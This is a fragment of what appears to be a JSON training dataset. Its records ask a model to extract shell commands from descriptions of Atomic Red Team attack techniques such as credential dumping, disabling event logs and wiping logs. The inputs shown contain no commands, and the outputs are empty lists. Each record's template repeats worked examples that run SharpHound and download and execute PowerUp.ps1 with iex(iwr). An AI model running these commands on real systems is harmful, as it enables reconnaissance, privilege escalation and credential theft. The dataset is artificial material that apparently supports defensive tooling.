(...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Common Sudo enumeration methods.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, powershell is going to processes related AV products if they are running.\nNote that, depending on the privilege of current user, get-process | ?{$_.Description -like \"*\"} may not return the processes related to AV products of the check.\nFor instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like \"*\"},\nif you know the name of those processes.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection\nto see what was collected.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This module will extract the credentials from Windows Credential Manager", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic will run Get-ADReplAccount from DSInternals.\nUpon successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account\nSee https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": 